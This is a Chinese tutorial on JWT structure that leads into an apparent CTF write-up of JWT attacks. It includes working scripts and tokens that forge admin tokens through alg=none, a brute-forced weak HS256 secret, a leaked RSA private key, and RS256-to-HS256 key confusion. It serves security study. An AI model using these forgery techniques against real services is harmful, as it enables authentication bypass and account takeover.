JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,该规范允许我们通过JWT在用户和服务器之间安全可靠地传递信息。
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
{
"name":"Andy",
"gender":"男",
"age":"18"
}
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。
JWT的数据分为三部分:头部(HEADER),有效载荷(PAYLOAD),签名(SIGNATURE)。
头部:
{
"alg": "None",
"typ": "jwt"
}
alg表示算法,默认为HS256。
typ表示类型,JWT令牌统一写为JWT。
有效载荷:
此部分用来存放传递的数据,JWT 规定了7个官方字段,供选用。
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
除了官方字段也可以定义私有字段
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。
签名:
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.
)分隔,就可以返回给用户。
Base64URL:
前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+
、/
和=
,在 URL 里面有特殊含义,所以要被替换掉:=
被省略、+
替换成-
,/
替换成_
。这就是 Base64URL 算法。
查看源代码提示我们访问/admin,访问admin之后又自动跳转到index.php,猜测不是admin用户自动跳转。
查看cookie发现有认证信息
auth
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjkyNjIxNjIsImV4cCI6MTY2OTI2OTM2MiwibmJmIjoxNjY5MjYyMTYyLCJzdWIiOiJ1c2VyIiwianRpIjoiMTcxYzNkNTM1ZmE4Y2Q3NmVlNmRmM2M1NmY3MjgwYjgifV0
复制下来放到https://jwt.io/
发现只有头部和有效载荷部分,没有签名
这个网站在alg为None的情况下无法修改payload,我们把alg修改为HS256,修改payload中的user为admin,再把payload直接发送过去,不需要和头部拼接。
payload:
W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjkyNjMxNDAsImV4cCI6MTY2OTI3MDM0MCwibmJmIjoxNjY5MjYzMTQwLCJzdWIiOiJhZG1pbiIsImp0aSI6ImFjMjVkYTQwYjMzZjg4ZGMzOGYxNjEzZTlhZThmZmJmIn1d
JWT生成算法
import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1610777230,"exp":1610784430,"nbf":1610777230,"sub":"admin",' \
'"jti":"a2c361f745f3e100752ad84e566a811b"} '
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
cookie解码发现头部带有HS256。
一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验。
将头部的alg替换为None然后修改user为admin,再把头部和payload拼接,最后面加个点。
因为JWT本身是带签名的,所以我们需要在后面加上一个点。
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2OTI2NDk5NywiZXhwIjoxNjY5MjcyMTk3LCJuYmYiOjE2NjkyNjQ5OTcsInN1YiI6ImFkbWluIiwianRpIjoiNzkzM2JiN2M3NjY4OGFmYWQyYTc0OWM4YzY3ZDk4MzIifQ.
根据题目提示弱密码,猜测签名密码为123456
使用工具爆破密码,下载地址:https://github.com/brendan-rius/c-jwt-cracke,使用方法文档里有。
这道题爆破的很快,密码为aaab。
这三种算法都是一种消息签名算法,得到的都只是一段无法还原的签名。区别在于消息签名与签名验证需要的 「key」不同。
HS256 使用同一个「secret_key」进行签名与验证(对称加密)。一旦 secret_key 泄漏,就毫无安全性可言了。
RS256 是使用 RSA 私钥进行签名,使用 RSA 公钥进行验证。公钥即使泄漏也毫无影响,只要确保私钥安全就行。
ES256 和 RS256 一样,都使用私钥签名,公钥验证。算法速度上差距也不大,但是它的签名长度相对短很多(省流量),并且算法强度和 RS256 差不多。
分析源码我们可以下载私钥,访问/private.key,我们只需要把数据用私钥签名发过去就行
需要安装jsonwebtoken库 npm install jsonwebtoken --save
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)
记得POST一下
这道题的源码和上题一样,但是私钥无法获取,只能获取公钥。
把加密算法改一下。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
记得POST一下